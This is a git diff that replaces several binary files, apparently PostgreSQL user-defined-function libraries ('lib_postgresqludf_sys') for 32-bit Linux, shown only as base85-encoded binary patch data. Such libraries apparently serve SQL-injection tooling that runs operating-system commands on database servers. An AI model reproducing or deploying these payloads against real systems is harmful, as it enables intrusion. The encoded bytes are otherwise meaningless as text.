z_;tz2vie=M+8zFDvT;nDBm7>FyTVo7x_VvsIY=;QgH8QD_doSVt1+S~U6>jBW1+kh zra|33nGb-8?3shPAGmWeniiV;jV(FnIJe^|p~3dNMk%B;j&CR50Q-@SfYHXo>aTW@ zizogknh6=4Z>0H4o5FCPAG5=l1ub_sPTuqhgW+zV(S)|Ojd3%^%!Vb;*Y`T88l5c5ccML z&XJDdUM1a$cCSas$CkYt6bXTh@&gTzQ9_bHXsDjZ-!MM@&$Y87j$^^=PQYG}s*YHl zL8fJs2;!UK;;AP2M>SZ2tw^Ry51SHU$qad~Huy+S@XDjkT#^S%>dNk!yFo*}>{zXj zLClL6^M$05gI%~!msGp%bX8IS&tZ~VRJo?t{G7dbwjz2AqnCsy-J>PPXz&hW#c0uL zvz_J??jv->-;sLNpQyt=PvJy`MeIdbr`nOd@bX z3lNUVtIyDuYRk7qtip%O1k6Qjc5pq*hOkLMPz)8Ni3$zz$fJayF>_d&w>Tu2l<`z7 zet(>r+ja_6!$-}0lf6E$9&_Y1b5B4*!(v=P<<(BejRYV7q7#wzMR?IHqD|gnX_1LT z$w=!d{iIZ}Pz1ERR{opO@JW=>RA!$Rk2ebr-XR`!OrSu2*|!h#@#9E*2Hfupb|3ND zDGYP0NsXVb0JJO_!T`qroAf`x9{mx^8gy|Y*BRdx2&cFU0&7ah^rrSSc(FxC=KO)l zvNY>0G3bAD*GO|KF|JICipRDm6+ieDf~(jw*d?`6PpiGmJYLXF z)ToW5N3>dO-^@6yP34?-rA^9b+g2VKtg27483ksN?4EYtj0x4dXAEV{@a%S zAVQY#-Cw>v_~%JViuukFJx{RWIZ6m55*0+rb$D9w1>!s>5B4gExhkV~t``I`*9c&@0dra$;F^J!QYI)k(Foq7g( zyjPlZC>}HNF-fRzsAV4@0DQQ0r9KOG7CqLp0=+P$rASCc`hJH&ud2grrc792_0*H5 z2B9rnH;K8+XeC%-sX|u*jo&oRz!yXqy4wuT>JgdhbnQ$o8SE!9yg4&9I)x;I)E3anr9~(VdGC#3v$hN^3f_on z{9fo4)hz$qLzp$qiZ4I#qV%#P>>wX2*K@_--K+P^Z9|bWJwR&yQ}+erAQ&_2EK&x$ z^1470yZq_m(dkqt-4^5{+OXu70ex~Z7@dmGA6EjnC+)`NB_L_%P`;>;hpixnzCOw=n1Eejn3Y~O5(f^7 z)9pf&p3aP%Z`PwMG?;-LneE^@xWF^3VJF9R2gc%?qhJqwV z)NheV$>Rst@5z&wzwnR`slksL9lW>htD?Zy{&$AKz=c>nIdfa_dq(n0K3Yu5*~ae; zA2wU}BM9HJY+Q}jp-CM&(5@MQWeURqhCE7^?!_JpB6zAIySnwEG@I<7T?V~h*&VFs z!lp2%BhE==fq-~L(>vW^ZeR3tog!bovHfq&0|TWN{<|hJn$@gUI+v#s^wSCqFPGMl zQ+>Iw6f}i0|p%1 zT-9{6@X?C-e7b+<(EuHU+JCr}iHkMcr{H`BX;0GI`?OEBiWH>E=_0`bSSC;Bg8x;e ziM6AEctqiP6}X3+o)1CC3|{$=y|f7d{nX$~9HndPMG#U`)36UI`snZGVRz|0}$Cr=t1gxWhp~F(@P6%Nv%us)(tA%KP%;}j1CGsdq8L9Z* zxly{RT;ao>oHvpH@R^|Ms7!!Jn`_qU&Qz(Njbo`h0t{-JA98>=Dt!LSH1w3B5nplm AA^-pY literal 2018 zcmV<82Oao2`QRfLdvlmut?i#|j-o`AaD~4oxpBDFLea z)El#3p1DyurA^fjiWOF9;JASc2(Z~P^3GY)wFf8H@0TgtSJe7kYVBDNEe!?ur4XWW z0&9VoOHH`6rWG{3j5c0uT)sY#m`@4j!>~k>GlBy7%frm|}Fq?th z(B%ZY+Q^X7%NWYwT|9t}5Vc??mAIyq_;Pu{l-Vgr%xCAuB$FTXmb{z~g9XEfjw1gS zz>hhxg+4y5+USf~y_aYc^h=U>msuowx+I8B&YS0M{19Q3kW%mF9nhc_qY&!>PTJEg znBn>DbQLyZU6+b^aHIVRXa12RAp7WT|xm&nv7tuwGzO9R492h59`>3!Lm!J>T8@l4u5)MTZ zU10gef$-vw3(2%p^6s*lQoJ%_Tu%?u=dwyt4j>@(-+Frf;+(d*P;py`=@b#k!hs_r zR6wqSx^xLfooo0l#mz~-G)&ek5=}!;ola>Gv!yx5r#liE!x56_8&u?d^gXFGKYA&Zi z{+GYKD?@{2zk*0?Azu2ooE1&V#7BUmXCW2f_D_V^G^6GFJEdJ$;)a0b* zK|qz_gL8{)u9rSVpvL?NTurm^XJ$QhL}fF^Uq@)@WZ*wFQQ9Bb?^@J&geW#MCa=<= zVI3A}bV$D)M5m}1uwZDCLMtROT=2J8TWt-auxpo8D_5AiB*L>XeHCG_aCq*{2l)4} zJa@IV&zKMj1k62V_gEp8;K`-_adYInPLvd94S@%GF5cgxi~!0hl51N9WUq#!%L;LI zmT0JLNgOcXZ)Kf6{uO91Dnp8F#5@ROND<@WRLw`Kk9T@pn|y>*@rL$2@H{VW-|L~j zXQM7oX{C&sK2EP5`3uVIgA~&xY~x;@&mr6)>{d&oPuk?>w@D0M6IX+ zXr*6uTAVclR}BR{GNQQFepLagdBO9vb5I`WdV!jW=C31^;1d6Q&hRR3vZ`z^a|I2U zjlp-q$iDlNMd_M6q)IURzSqdygUa@8oV|{Q4h5UPh6_KucOB`s^uX1B#(5v0;|#wu zABfZ0yXdD7*!fY)u#iyE6fK@hP7GUQT;UhUu?@$3D{$z?P8#xNTB&mq+BFq$(DGAA z{!pV(sNn>~vE`=5>44_|gZ{k(e7>~&^^Wz1s0Z=R>bhzqSaDe6C2GeSXev9!^ZDHr zel%F+eI)ARIxPCxi*_#~v8)=CJ0|u}&`dp<#QH1}Lwcz&<(9zkV(XibcR7znxF4_e zoQehZb-q4ptG`NIvN_&!Fmu5r%Tg$^o5EexVgaTEpqCS4%%$5|5U7<4mC*?val7Nd z1r5C0AEKz81O}M9DvaDrxhh`wx3dziWD=z1`CBMrz~@s;i312;AL;-=>Ym@#Rd#FC zcIrm0k<*FmB9=0^(Tjbo>lUZjw+{4E4punmsK95u z=(nJfCTP?vL&)%yv@mntZCv_-}+BZ8~iSLL;F2xJm@FvR2;P<7e_Q@nAuB2>`= zaF@$gGpff($k7V_2x^k(k>~jRE|Za%z`;@Y5F}K6nji?Nfx22|t?QZ;d)^%wPuY*r zlWvH!J>$TP!W*Yirs>z^f^)J_`f1hpka(QV+Y{b2C^J}tesF^-bWqEhVua(ZJ3fB= AK>z>% diff --git a/data/udf/postgresql/linux/32/8.3/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/32/8.3/lib_postgresqludf_sys.so_ index a3d0e74cac54af9263e5afe6df6e656bded67a25..337962be6d0be4cdca3cacf676ce2211d19f97da 100644 GIT binary patch literal 2016 zcmV<62Osz~)87#eI(fTxPSgdqda8pdJN{zT_s&PSmrMSDHiMlHU5WE@pL(9?SE4hh zKw6N*!Y8QlS7|ZO*L%eBdC4E>Iru~*2fxn2lu(HtI7Op*8jQoU@FM>~h0Bis+E6(G zhRn*Up@ExL_9qPp*xiV_n4$QF=$(R)-@c21R)uFpgD}5=6@%vHfVMT2o>6iED=~G= zmV^MP6yH;1LqbT7@)a51-S#IB0I=Qk zLXFG_`hm4N45LOEOl@6ZaAm){*DSjt#&%88slRq+ z%zyPJYvm1tR!~K`N40y~Y!Swuv#yt3(VQ4;7)CxqhrKnO32D-1^F_<=B=ej?w?n>e zb5Wv_fzE>eQsKE&|5>~qaZ%C$&rynOPi~x40#kgyB>y zet(>n+lCKR#z)P3ldV3m9&_Y1b5B4*!yQ~r<=sxmjRYXLKADzQD16Z@qRro8X_1LS z$w=!d{iIZ}Pz1ERRz8ZcFi4aURc4FJ>hv#Z@*jQ(7M>w)p(u{!BYnc*E#?Z0a zDGYO*$&8*J6vQYU#DItQM9e+SMm-(N8gzLo*O?y`NGG@p0%c0bG^UnP$p?CU+Z?sE z^JMESF^GS2*LZL&5IO*I{Z+uFGNYR#C@f%mj|`y&Qlz)mZPbnXZv@>K&F90{B-YSM z)F|lrHP7(~yR&kD@V$P@N0I3@X)?}uAUB@aFM;Jj$dq_BZVpmTP3^(gI&|RBELkUD zyvu~dfH38CizKo=A7;;a?04v z;7lvdIC6h+0eFP1X)fsKL|sTGh9tV|$yElgT#IZKHd0rK#3rV#Q&<{vtP3dnYWDIO z*@EAXD33o?=X^fGF8n;M)qU7zN^@#a{~45=6Nk0jFMHooud^fX^0;kxPewUGP~qtf zc&TEaR8{uGyueY#=xh}gBGqC~(-X$Hzko*7Qu?J3^?Ud#y&~xXREupxTBaoSR77v{grAhVFE0QFH$bD~{4}>XfvH0j zKkxSqi>4GC_^BvEqi5JxI*gKI+zB`Ez}K-_`d*3#98V#DQ(1^GtoZ$!_rT{}E40eI zZ*Gq#Oxnc#kHsjb=Yx6Bkq5S?ypV(V|8uerv20ijg1(Zo4ub5m?)CuWTHCO7}%=qsIjX)ur%IK=XSRlQo5nwxRq@`Ohds z;e3g7vy}Y^T=h`l{;jQxI|wO&dNkvm^GiW`9+m=G{g)%|65_B{zPfU!g4Ob2=A__I zU6LF{fpYWWTJM;?`IXCw*cq5Ao&YCZ=|;Zf=ajr(KP zJmls;w-Gz-)8>||&67C5`vyEWkR5RUd;2O6tVxzWdR1I%(r27@Xj zRE40%hd)m-*ruQzNbs)XX~@R8Wfl-eTjEDUbQV7X_{~1ajI)!xy4U`ruJ{DS*yk7r~b0>=h5HXlL9m74mE(*)kw5`V_Rl7I5qO< zcBW<5jvhNv=pQi#9$4hq6TzXLt2eT5T6zN(_+yeM2C?5UnoXKfC3scmT{}e#`YvEF zk=mUR<3^tsy36-8JCDZ?<;)(`z(VWtDvB+Ax<%wj_F$^ou? y&V}p2t}q+U>g7NRVy@m6SH04ABI%HH@hsw>@0|+a6}r_yjx_<7t-VHJOx;*x+z99Z literal 2016 zcmV<62Os!4`QRfLTYI=<5cn|XEZX!Y5y4Q*mdr$|$!E*aVDst#cecT6{&=1G362K& z7Aoh<=op&lHfu7%iC6KXFS%&v6UTNvX1&eR%6z;}ZZ*_)FthQhks$n2+vmDbj37=9 ztn>J@z=N1Xs0%n*j;;T-vYyJHiJyUjfs($^0QC?`sSk~qbb;mc-kJc!$RPy|0S-sh z_l5(yO7mtl6*fx*((mVGBWBM#-H2@|<8XYQbT3U^wwl26P$%Gq-&CrGn%NvrlFt^7BoH>i3`^cIY8UTq= z)Di}SM3J{TI=oja*MZri3g<9`37(X&Q4h1T+4xhH_#hGHi@+#LQleaNV%`U*;%Jf? z{xc_Q;;Mo{w?ZDOlhXv3ot4dK!XQsJ6Mh9r*uxh_me|6 znh%00LE1l>H?723kX7C?^jp)SyUA0NE#i;^p_N@)KF97DuaXW?+w57nW*03#EwD3G zugo-{QBf1d+~L)n<+d5L3|-k$tBN0(tg#g6V@p_la}hCOsnx-3hvD`^{D%dt#e> zdr6gLrK0VrB(rB?+yC~Bqh!7l++iRQfek01B;%$?iGlqeSbH(;f$oD5Zp>)J5)MVv zN?`dpfS~Sw3&~VW)NB!&%Ca>87cqhyl-@Kit?~3n5Iv+iN|y1<_*)-{>68%3(vc%0 zR6wqex`Yfym}~eg#obB2G)&ek5=}!;oiS+~v#mMDr#lj%Uz?Rgc2MMf^u4HUL$149 zs7mNNqljVP26V%-d;z$qQA(Es3rea-xkr}ct=L#> zcOXX1pZw_&KKmL3rGkXz8sG?=5KU^tFiT4_wwoLW77LA9R24nP9+{*|s0Dd%g)o5R zr4*bZ8@Ekrwt90uP8KyIt0lLp7@Vm(NiJh)(IAvm1k}LUN9(`h4hG%|lgsvoa;B$6 z{ukQdRL$}l<)25*-BiUgHCg>&jdkm^=l}doMM8aUe*AD{RAm$D4iRs^?Ko= zzF;1oZUP8?D@V4p2rTRR8gYGh&{WOi<7zavJ&A7zXntbYl2*~8d1okU%?T^%G}^~V zkMgL10kv{e43lyme%&+=AX0}tf=aX=jGBb7}WmqUy1Xj4UU+nmi(8y*>4o5i-F)R2R%g?7(kW~N~s);u+f zA<#>ohtc1KTKJ%IvI<{D>r$Q#ezad&JESM%3TRrQ((mK61rRbHRzjfhq8Nf{*V!~1 z70|^L>ZBJ5riC36^%t*L5VN3qy$dwrp8JFgtSEQf$eaAWKO(D_@J2jQh!y@i;2Yn7K02KxeB+G*Q5Vmr{f(J zw+#M!nXAtcJ@-@dpn;g$ZFpXfPz%w7l1V~nK)N>wtLIeVINgFz-?(wL-1)~au+*1d zcdag5;BfHp1jDWGujRak@+PV?{{kdWw`z;EvFE1Z1*5ZuJI>hmcA|;ru$ej8r^Hdu zUFPLd={*j-g_hx@=d23Zngl;3&M`%1-pi5az&>1ffaaiD6L$ z#HktX`vUZqLbGEwWRv2N?2g}OcpQimoi~pTW@wKR<8|e}i-*)vZy(I@;+#8goN?K6 y7R4^O18f8m%vwfcFCc diff --git a/data/udf/postgresql/linux/32/8.4/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/32/8.4/lib_postgresqludf_sys.so_ index f088490bddc4fc8c67390789569fd036c5bc9b99..2d408239537ca704a106e614da9c86809623aea7 100644 GIT binary patch literal 2020 zcmVog>D1Hv{s~D8yOv6sX}y8 z9Oz?`yLPjfBV_v4YVr8CbiJAaxmSbLLY$(NSjAxsU&1q#m1VW_yz(qq&1`@t*OFMe z;BVTSD{8oAv+{ek0D(a>T1rsxYG9sgz%1FIV~tDcUA`xi*?K}~XhOR%nlK(uy%+RcQ8Q&ZfB#dE z)o4_M_HbSE@)h-ywuj~<3R#boD^&0SnZN88 zN>VPS@b`O@Fj=>9LX{hjs%NJuf!R@YkPfW4m1QWj&QOQE#C(c46^Tc*k3 zON|ht_pZEzSjj_`PN(tUOZ8b4xF+t0+}GVciJ^Cq^LC<7nB;Eg6!TL88_Qx>Q;=?9 zqCZ(w!PvGfoJmZb#q*enT9I#!6ebj@Ckc*X-J@N-<6x{#Ni-RRShcmo9%UAg^AR;$ zf26R5#Bb>c6k%D=Gd`x9$1?>#8>}+Y;4wO>uiJY;NTNStyx-;CWE!3A%0Kmkg!Odp zbnPyu)=u140mZgdE0>nN5Sp2zd(RwsGy_6yGkj);!Bhe08 zuNMiyMunhz@QR*QgT1=G4|0xb2$>=ks;Hq`CKRGXzHg-yRh{NN&_z6z!fdm3cGL$Tndvc!Fw?i?*Lf!+} z(a6)S|FTcjdE$f&zIJ4p;CWg|a{>Fjqo>$kCDJx=DC}ge)!D>XDGv|JzlFl|b9URx zE~l+CyGB3J58nR{+G1;f9btW57R&@duv)YyUTvImb$hM)5%h+%M!Hm?*-CB%qw5L@ex}uAWor@lb_R#TaF{YKjaRC@bbL^FBM8eUu$j$uuuHQt|1~ z04ujsXF{gClo$!BR!cRqn=;{=Dz7wHCjwHCgYA?1?^JgMcYGF}D`*#Dc3?3Fa~ctX z>#wQW-^S%LkT4mW=R?G+?-A8nRuPfngg4(-&Rju>iT;8tvU6r zB{{#V|2`a|+ZPg~VyRs?m5x;VH39dUt(&|0S^Ml>T0OULWsX<&3g-9lg_c(-Vgntl zcIIE2$e$Hb*vRce)TiYOip(Ll3+@zoZeVDuAitOP8;6^gk{>ecK8n&8UNR}{V4USK zTdAu*gn1njn{cI(VPtRgdg<&dZ;l4 zZz(O`M^t~jdB9AebT7?f$madHJRw@MwE395u-NAcM|Cp4ID@MGQf@LEVw!1jnf*L=iJcpA{NZU6d*Ns6Widn*`{-*Lr$-;DP6NfBnG zwF`D3r3c?C@i8`wcdTr&DnZ=X`7CwsfH7Y&<5NVSwU|q#f}$cJQn3(W(j+-mlYn!| z@sU#MxS&YzIu8HwUV_zD{HFiTk@*Zpb_kV$nW`P1^?g=?&sSouKY;CTuyz+<+!vN0 z>Jm|cGoZNeyjHZOoB5-&qj!)3(euu6;N2x97!Ea+Fz=Z~Q5B%sr1g|=;8 z9Qo3jo}D-^lF127>lCl8_vJt16(AzPf#pB2T#4w|GPrH4po$5cWKoXJ36&9S$; C?*y0t literal 2020 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 literal 2729 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 diff --git a/data/udf/postgresql/linux/32/9.1/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/32/9.1/lib_postgresqludf_sys.so_ index 8182362e85d5956c029756690f4e7e8ee57e095b..fca855a84710d36a18a339c3672b6863b554fd7a 100644 GIT binary patch literal 2652 zcmV-i3ZwNk)BhfPIyt+3k2S?B!Ff?7Nls4n>3?2%84eQR6&FczY?xI$CY##Mynr^?xjn&p)$lIw0)fttNfG%;`*bgd& zgZfG!1;P#O{oNsjZTRGHM0wu8kTsc#P_S!X+~2C}#^xFBT={}lrZ9UfUc+h-tuVB# zi+q*KZkQh3Hp(8k5+Zs}GI4IUxR|5e!PtuM^6s3R6PZIZsyg0Oju#PAGGGW@Re8M~ zdu)$;LTFP%cka_8uz=Al3tXA+L4CA4ga|EJ1vDey ztcTz<)IF>2_cBOv)E06=(=GXZ)Hh{Bl zw#^(Y+tz#Q`Ew%pdb*B(8+E&kPnbA&7RmnJar~DghxQ%grInvb8`y7p3Ey-oR(C8^u?1 zPo=ndDRtX*FbW0*3-e=27teC&FAJ)smy#0vl9egm?hiqk$X&YMMfEYph|xn6`E^iUhv9)HQ%X1 zD_%Si_?q!|EWer;c&|{PIKy^^U-1FuTFh;=9ARMAhmuxUxCL@7S3p#H6n7nck0dvp zBV|D)geV&NinG%8R6iL$UAnWOw*AAAqsFQwn}A zYu7)h7I6RApm%SfJeDL}qePS`&Yk_O^Z&*G1--=S{`*^3+pm^GShGYEzJ53kRY8L| zgtBPycp&Gi6}zr8!ER)S$1Ilym9ph%7rVn_-kcz!A8==(1d)Lhh<+qq_8VMk3ta^V zgMR&m;-LH@@VKm^hP&(r>79eI4*K-E4r*SlFE8Nz-{S8^aB*x_I$sH(*m+QS@8sKa zTcL6ueu~Q~)h)#A{3lmHL3;ev)^J5n*aQ1q;vBgU^n%>gCc{l_u=3^&3q@VRLwaCN zd>7p@MXd-~;!!|^KnmDBal4Cc#liLcm&4ar2~*xU%c+0Y4X63fP+X1i)V+xSPm57kPR;OLz)0D0i1k-bnwg99 zb8<%0%0&wbVyO@BXpKN~`IN*KH*&JA-#!hdBjF z2cUWUkjL0$x`tsB^qM93mL1EZusr~oC;_OJ9KbU}czq|=rMRQ8tXlmHxyxg8XQJY4 